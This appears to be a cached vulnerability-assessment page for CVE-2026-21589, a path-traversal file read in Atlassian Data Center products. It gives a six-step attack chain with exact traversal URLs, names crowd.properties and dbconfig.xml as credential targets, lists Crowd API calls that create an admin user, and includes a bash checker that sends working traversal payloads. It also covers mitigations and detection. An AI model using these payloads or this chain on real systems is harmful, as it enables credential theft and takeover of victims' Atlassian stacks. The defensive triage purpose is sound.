← Back to Feed CACHED · 2026-10-13 15:10:43 · CACHE_KEY CVE-2026-21589
CVE-2026-21589 · CWE-552 · Disclosed 2026-10-05

Atlassian Data Center Products Unauthenticated Arbitrary File Read via Double-Colon Path Traversal in…

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

Someone left a skeleton key under the doormat and posted a map to every lock it opens

CVE-2026-21589 is an unauthenticated arbitrary file-read vulnerability in the shared atlassian-plugins-webresource library (versions ≤6.0.7), affecting eight Atlassian Data Center products: Confluence, Jira Software, Jira Service Management, Bitbucket, Bamboo, Crowd, Crucible, and Fisheye — every supported and unsupported version prior to the October 2026 fix releases. The root cause is a path-traversal primitive in the web-resource plugin's Router.java: the library's escapeSlashes() function converts / to :: and unescapeSlashes() reverses it, but the resource-serving path fails to block ..:: sequences, allowing an unauthenticated remote attacker to craft plugin resource URLs like /download/resources/<plugin>/images/..::..::..::WEB-INF::web.xml to read arbitrary files inside the Tomcat web-application root. The attacker must know the target filename, but high-value files — crowd.properties, dbconfig.xml, seraph-config.xml — live at well-known, predictable paths documented in every Atlassian installation guide.

Atlassian self-assigned a CVSSv4 score of 9.3 Critical, and that rating is honest. The bug is pre-auth, trivially exploitable with a single HTTP GET, and the blast radius extends far beyond a simple file disclosure: in Crowd-integrated deployments (the norm for enterprises running multiple Atlassian products), reading WEB-INF/classes/crowd.properties yields plaintext application credentials that let an attacker authenticate to the Crowd REST API, enumerate all users, create a new admin account, and add it to jira-administrators or equivalent groups — converting a file read into identity-tier takeover of the entire Atlassian stack. watchTowr Labs published a full technical breakdown and detection tool on October 6, and Previdian's honeypots registered exploitation within two hours. By October 13, 386 exploitation attempts from 60 unique IPs had been observed across Previdian's sensor network. Over 40,000 Atlassian Data Center instances are internet-facing per Shodan/Censys, and the Nuclei template makes mass scanning trivial. This is not theoretical — it is actively exploited.

"Unauth file read in 8 Atlassian products is actively exploited; chains to full admin via Crowd credentials"
02 · The Attack Path

6 steps from start to impact.

STEP 01

Identify internet-facing Atlassian instance

The attacker uses Shodan, Censys, or FOFA to enumerate internet-facing Atlassian Data Center instances. Over 40,000 such instances are publicly reachable. Product identification is trivial from default HTTP response headers (X-ASEN, X-Confluence-Request-Time) and login page markup.
Conditions required:
  • Target instance is reachable over the internet or internal network
Where this breaks in practice:
  • Instances behind VPN, IP allowlist, or zero-trust access are not reachable — but a significant fraction of the 40K+ exposed instances have no such controls
Detection/coverage: Shodan/Censys/FOFA dorks readily identify exposed Atlassian instances. GreyNoise tracks reconnaissance activity against Atlassian endpoints.
STEP 02

Send double-colon path-traversal request

The attacker sends a single unauthenticated HTTP GET to the web-resource download endpoint using ..:: sequences to traverse out of the plugin resource directory and into WEB-INF/. Example: GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml. The unescapeSlashes() function converts :: back to /, and the deprecated getResourceRelativeToWebResource() code path returns the file contents. No authentication or session cookie is required.
Conditions required:
  • Vulnerable version of atlassian-plugins-webresource (≤6.0.7)
  • No WAF rule blocking ..:: patterns
Where this breaks in practice:
  • WAF/reverse proxy rules blocking path-traversal patterns *if* they match the double-colon encoding — standard ../ rules do NOT catch this
Detection/coverage: Nuclei template released Oct 7 (projectdiscovery/nuclei-templates). watchTowr detection artefact generator on GitHub (watchtowrlabs/watchTowr-vs-Atlassian-CVE-2026-21589). WAF/proxy access logs containing ..:: in URI path are a strong signal.
STEP 03

Read crowd.properties for plaintext credentials

The attacker targets WEB-INF/classes/crowd.properties, a well-known configuration file in Crowd-integrated Atlassian deployments. This file contains application.name, application.password (in plaintext), crowd.server.url, and crowd.base.url. In Jira+Crowd deployments, this is the standard integration mechanism and the file path is identical across all installations. Alternative high-value targets include dbconfig.xml (database credentials) and seraph-config.xml (authentication configuration).
Conditions required:
  • Atlassian instance uses Crowd for identity/SSO (standard for multi-product enterprises)
  • crowd.properties exists at the predictable path
Where this breaks in practice:
  • Standalone deployments without Crowd integration won't have this file — but enterprises running multiple Atlassian products almost universally use Crowd
  • Even without Crowd, dbconfig.xml may yield database credentials
Detection/coverage: File-access audit logging within Tomcat is typically not enabled by default. Detection relies on network-layer inspection of HTTP requests containing traversal patterns.
STEP 04

Authenticate to Crowd REST API

Using the leaked application.name and application.password, the attacker authenticates to the Crowd REST API at the crowd.server.url endpoint. The Crowd API uses HTTP Basic authentication with the application credentials, granting full application-level access to user management operations. If Crowd is on the same network or publicly exposed, this step requires no additional access.
Conditions required:
  • Crowd server is reachable from the attacker's position (internet or same network)
  • No IP allowlist restricting Crowd API access to specific application servers
Where this breaks in practice:
  • IP allowlists on Crowd would block external attackers — but this is not a default configuration
  • Crowd instances behind VPN require an additional network pivot
Detection/coverage: Crowd access logs will show authentication from an unexpected source IP. Monitor for API calls from non-application-server IPs.
STEP 05

Create admin user and escalate privileges

Via the Crowd REST API, the attacker enumerates users (GET /crowd/rest/usermanagement/1/search?entity-type=user), creates a new user (POST /crowd/rest/usermanagement/1/user), and adds it to the jira-administrators group (POST /crowd/rest/usermanagement/1/group/user/direct?groupname=jira-administrators). This grants full administrative access to Jira and, through Crowd's SSO, to every connected Atlassian application — Confluence, Bitbucket, Bamboo, and others.
Conditions required:
  • Application credential has sufficient permissions in Crowd (standard for Jira-Crowd integration)
  • Target administrative group name is known (defaults are well-documented)
Where this breaks in practice:
  • Custom group names would require guessing, but defaults like jira-administrators are nearly universal
Detection/coverage: Crowd audit logs will show user creation and group membership changes. SIEM correlation of new admin accounts with no corresponding HR/IT ticket is a strong detection.
STEP 06

Pivot to source code, CI/CD, and knowledge base

With administrative access to the Atlassian stack via Crowd SSO, the attacker can access Bitbucket repositories (source code exfiltration, supply-chain backdooring), Bamboo build pipelines (CI/CD compromise, build artifact poisoning), and Confluence spaces (intellectual property, credentials stored in wiki pages, architecture documentation for further lateral movement). This represents fleet-scale and supply-chain-scale impact.
Conditions required:
  • Multiple Atlassian products are integrated with the same Crowd instance (the standard enterprise configuration)
Where this breaks in practice:
  • Isolated product deployments without Crowd SSO limit blast radius to the individual product
Detection/coverage: Audit logs across all Atlassian products showing access from the newly created admin account. Bitbucket repository clone events, Bamboo build modifications, and Confluence export operations are high-fidelity signals.
03 · Compensating Control

1
CRITICAL 9.3→MEDIUM 5.5
SEVERITY REDUCED
Deploy WAF rule blocking double-colon traversal patterns immediately — Configure your WAF or reverse proxy to block any request URI matching \.\. adjacent to /, \\, or :: — specifically the regex pattern Atlassian provides in their advisory. This breaks the attack at step 2 by preventing the traversal payload from reaching the vulnerable code path. Deploy within the noisgate mitigation SLA of ≤3 days (CRITICAL). Note: standard ../ WAF rules will NOT catch the ..:: encoding — you must update rules to match double-colon patterns specifically.
2
CRITICAL 9.3→HIGH 7.5
SEVERITY REDUCED
IP-restrict Crowd API to application server IPs only — Configure Crowd's crowd.properties or network firewall to allow REST API access only from known Jira/Confluence/Bitbucket/Bamboo application server IPs. This breaks the attack at step 4 — even if crowd.properties is leaked, the attacker cannot reach Crowd from an external position. Deploy within the noisgate mitigation SLA of ≤3 days. This does not mitigate the initial file read but eliminates the identity-tier escalation path.
3
CRITICAL 9.3→MEDIUM 5.0
SEVERITY REDUCED
Remove internet exposure of Atlassian Data Center instances — Place all Atlassian Data Center instances behind VPN or zero-trust access (e.g., Cloudflare Access, Zscaler ZPA, Tailscale). This breaks the attack at step 1 by requiring the attacker to have internal network access first. Deploy within the noisgate mitigation SLA of ≤3 days. For instances that must remain externally accessible, combine with the WAF rule above.
4
CRITICAL 9.3→CRITICAL 9.3
Rotate Crowd application credentials and database passwords — After patching, rotate the application.password in crowd.properties on every integrated Atlassian product and the corresponding credential in Crowd's application configuration. Also rotate database credentials in dbconfig.xml. Assume any credential stored in the web root of an unpatched instance has been compromised. Complete within the noisgate mitigation SLA of ≤3 days.
5
CRITICAL 9.3→IGNORE 0.0
SEVERITY REDUCED
Apply vendor patches to fixed versions — Upgrade each affected product to its fixed release: Bitbucket 9.4.26/10.2.8/10.5.1, Confluence 9.2.26/10.2.19, Jira 9.12.40/10.3.26/11.3.12, Bamboo 10.2.24/12.1.12, Crowd 6.3.7/7.0.3/7.1.7/7.2.4, Crucible/Fisheye 4.9.15. The fix is in atlassian-plugins-webresource-6.0.8.jar. Complete within the noisgate remediation SLA of ≤90 days, but given active exploitation, treat this as emergency patching — target hours to days, not weeks.
What doesn't work
  • Standard path-traversal WAF rules (../ only) — The ..:: encoding bypasses rules that only match ../ or ..\. You must explicitly match double-colon variants or the attack sails through your existing WAF.
  • Application-layer authentication enforcement — The vulnerable endpoint is in the pre-authentication resource-serving path of the web-resource plugin. Authentication controls on Jira/Confluence login pages have no effect because the request never reaches the application's auth filter.
  • Tomcat security-constraint elements in web.xml — The resource download path is intentionally mapped as a public endpoint for serving CSS/JS/images. Adding auth constraints to it would break the application's UI.
  • Network segmentation between Atlassian products alone — While segmenting Crowd from the internet helps with the escalation chain, the initial file read still succeeds against any reachable instance. Segmentation is necessary but not sufficient.
04 · Intelligence Metadata

The supporting signals.

In-the-Wild ExploitationConfirmed active. Previdian sensors observed exploitation starting Oct 6, 2026, within 2 hours of watchTowr's technical analysis. 386 exploitation attempts from 60 unique attacker IPs observed through Oct 13. Reported by BleepingComputer and The Hacker News. Known attacker IPs include 38.60.157[.]86, 146.70.187[.]234, 159.26.119[.]225.
Proof-of-Concept AvailabilityMultiple public PoCs. watchTowr Labs published a full technical breakdown and detection artefact generator (watchtowrlabs/watchTowr-vs-Atlassian-CVE-2026-21589). Additional GitHub PoC repos: tc4dy/CVE-2026-21589-PoC-Exploit, aduli198/CVE-2026-21589, MarcusProgram/CVE-2026-21589, rxsklife/CVE-2026-21589. Nuclei template available in projectdiscovery/nuclei-templates since Oct 7.
EPSS Score0.02777 (2.8% probability) of exploitation in the next 30 days. This is conservative given confirmed active exploitation — EPSS tends to lag real-world activity by days to weeks for newly disclosed CVEs.
CISA KEV StatusNot yet listed as of Oct 13, 2026. Given confirmed active exploitation and broad impact across federal Atlassian deployments, KEV addition is likely imminent.
CVSS Vector (Vendor)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H — CVSSv4 9.3 Critical (Atlassian-assigned). Network-accessible, low complexity, no privileges, no user interaction. High downstream confidentiality/integrity/availability impact reflects the Crowd credential escalation chain.
Affected Version RangesAll versions of all 8 products prior to the fixed releases. This includes all supported LTS branches and all unsupported/EOL versions. The vulnerable component is atlassian-plugins-webresource ≤6.0.7, shared across the entire Data Center product line.
Fixed VersionsBitbucket: 9.4.26, 10.2.8, 10.5.1 · Confluence: 9.2.26, 10.2.19 · Jira Software/JSM: 9.12.40, 10.3.26, 11.3.12 · Bamboo: 10.2.24, 12.1.12 · Crowd: 6.3.7, 7.0.3, 7.1.7, 7.2.4 · Crucible/Fisheye: 4.9.15. Fixed in atlassian-plugins-webresource-6.0.8.jar.
Internet Exposure40,000+ instances internet-facing per Shodan/Censys (Oct 2026). Broader Confluence-only footprint estimated at ~700,000 instances. Tens of thousands remain unpatched as of Oct 13.
Disclosure & ResearcherDisclosed Oct 5, 2026 by Atlassian. Technical root-cause analysis and detection tooling published by watchTowr Labs (Oct 6). Exploitation tracking by Ryan Dewhurst / Previdian. Atlassian credited as self-discovered.
Vulnerable Componentcom.atlassian.plugin.webresource.impl.http.Router.java in atlassian-plugins-webresource library. The deprecated getResourceRelativeToWebResource() code path passes unsanitized input through unescapeSlashes(), converting :: → / and enabling traversal via ..:: sequences in plugin resource URLs.

Sources.

  1. Atlassian Security Advisory — CVE-2026-21589
  2. watchTowr Labs — Technical Analysis and Root Cause
  3. Rapid7 — Emergent Threat Response
  4. BleepingComputer — Exploitation After PoC Release
  5. Previdian — Exploitation Tracking Dashboard
  6. Help Net Security — Exploitation Confirmation
  7. SOCRadar — Exposure Analysis
  8. watchTowr Detection Tool (GitHub)
05 · The Call

Final Verdict
= UNCHANGED to CRITICAL (9.3/10)

Why this verdict

  • Unauthenticated remote exploitation with zero friction: The attack requires a single HTTP GET request, no authentication, no user interaction, and no special tooling. The Nuclei template and multiple Python PoCs make mass exploitation accessible to script-level attackers. There is no downward adjustment for attack complexity — this is as frictionless as it gets.
  • Confirmed active exploitation collapses the theoretical-to-practical gap: 386 exploitation attempts from 60 unique IPs were observed within the first week. Exploitation began within 2 hours of the technical analysis publication. This is not a hypothetical chain — it is being walked in production environments right now.
  • Role multiplier — Crowd (Identity Provider): Crowd is Atlassian's centralized identity and SSO hub. The documented chain (file read → crowd.properties → Crowd API → admin creation) succeeds in this role with blast radius of identity-tier / domain-wide: every connected Atlassian application is compromised. Crowd is a canonical high-value-role component — ≥10% of Crowd installs exist specifically as IdPs — establishing a CRITICAL floor.
  • Role multiplier — Bitbucket (Source Code Management): Admin access to Bitbucket via the Crowd chain enables source code exfiltration and backdoor insertion. Blast radius: supply-chain-scale. Bitbucket Data Center is deployed specifically to host production source code, making this a canonical high-value role.
  • Role multiplier — Bamboo (CI/CD): Admin access to Bamboo via the Crowd chain enables build pipeline manipulation and artifact poisoning. Blast radius: supply-chain-scale. Bamboo exists as a CI/CD platform — ≥10% of installs occupy this high-value role by definition.
  • Role multiplier — Confluence (Knowledge Base): Even without the Crowd chain, reading dbconfig.xml exposes database credentials. Confluence spaces routinely contain architecture diagrams, credentials, API keys, and security documentation. Blast radius: tenant-scale to domain-scale depending on content.
  • 40,000+ internet-facing instances limits downward friction adjustment: The exposed attack surface is massive. Even applying a conservative estimate that 50% have some form of perimeter control, 20,000+ instances remain directly exploitable. This is not a niche product with limited exposure.
  • No friction point justifies departure from CRITICAL: The only theoretical friction — "attacker must know the filename" — is not real friction because crowd.properties, dbconfig.xml, and web.xml are at identical, well-documented, deterministic paths across every Atlassian installation. No knowledge of the target environment is required beyond its URL.

Why not higher?

The score of 9.3 is already near the ceiling. It is not 10.0 because the file read is constrained to the Tomcat web-application root — the attacker cannot read arbitrary OS-level files like /etc/shadow or Windows SAM hives. The escalation to admin requires a secondary step (Crowd API access), and IP allowlists on Crowd or standalone deployments without Crowd integration would break the chain at step 4, limiting some deployments to confidentiality impact only.

Why not lower?

Every downward pressure point fails the friction audit. The attack is unauthenticated and remote — no prior access required. The vulnerability is being actively exploited in the wild with public PoCs and Nuclei templates. The affected component occupies canonical high-value roles (IdP via Crowd, SCM via Bitbucket, CI/CD via Bamboo) where successful exploitation yields identity-tier or supply-chain-scale blast radius. The CRITICAL floor set by the role multiplier analysis cannot be broken by generic friction arguments like 'requires network access' — 40,000+ instances are internet-facing.

06 · Verification

Crowdsourced verification payload.

Run this script from any auditor workstation with curl installed against the target Atlassian instance URL. No authentication or special privileges required. Usage: ./check_cve_2026_21589.sh https://jira.example.com. The script tests product-specific traversal paths for Jira, Confluence, and Bitbucket and outputs VULNERABLE, PATCHED, or UNKNOWN.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# CVE-2026-21589 Checker — Atlassian Data Center Arbitrary File Read
# Tests for path traversal via double-colon encoding in atlassian-plugins-webresource
# Usage: ./check_cve_2026_21589.sh <target_url>
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN

set -uo pipefail

TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <target_url>"
  echo "Example: $0 https://jira.example.com"
  exit 2
fi

# Strip trailing slash
TARGET="${TARGET%/}"
TMPFILE=$(mktemp /tmp/cve2026check.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT

echo "[*] Testing CVE-2026-21589 against: $TARGET"

# Product-specific traversal paths targeting WEB-INF/web.xml
declare -a PATHS=(
  # Jira / Jira Service Management
  "/download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml"
  # Confluence
  "/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml"
  # Bitbucket (may block web.xml specifically; try urlrewrite.xml)
  "/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml"
  # Bamboo
  "/download/resources/bamboo.web.resources:util-helper/images/..::..::..::..::..::WEB-INF::web.xml"
  # Crowd
  "/crowd/download/resources/com.atlassian.crowd.console:login/images/..::..::..::..::..::WEB-INF::web.xml"
)

declare -a PRODUCTS=(
  "Jira"
  "Confluence"
  "Bitbucket"
  "Bamboo"
  "Crowd"
)

VULNERABLE=0
CONNECTED=0

for i in "${!PATHS[@]}"; do
  path="${PATHS[$i]}"
  product="${PRODUCTS[$i]}"
  
  HTTP_CODE=$(curl -sk -o "$TMPFILE" -w "%{http_code}" --connect-timeout 10 --max-time 15 "${TARGET}${path}" 2>/dev/null || echo "000")
  
  if [[ "$HTTP_CODE" != "000" ]]; then
    CONNECTED=1
  fi
  
  if [[ "$HTTP_CODE" == "200" ]]; then
    # Check for XML content indicative of web.xml or urlrewrite.xml
    if grep -qiE '<web-app|<urlrewrite|<servlet|<filter|<rule' "$TMPFILE" 2>/dev/null; then
      echo "[!] VULNERABLE — $product instance returned internal config file via double-colon traversal"
      echo "[!] HTTP $HTTP_CODE on path: $path"
      VULNERABLE=1
      break
    fi
  fi
done

if [[ $VULNERABLE -eq 1 ]]; then
  echo ""
  echo "VULNERABLE"
  echo "ACTION: Apply vendor patch immediately. Deploy WAF rule blocking ..:: patterns as interim mitigation."
  exit 1
elif [[ $CONNECTED -eq 0 ]]; then
  echo "[?] Could not connect to $TARGET"
  echo ""
  echo "UNKNOWN"
  exit 2
else
  echo "[+] No traversal payloads returned internal files"
  echo ""
  echo "PATCHED"
  exit 0
fi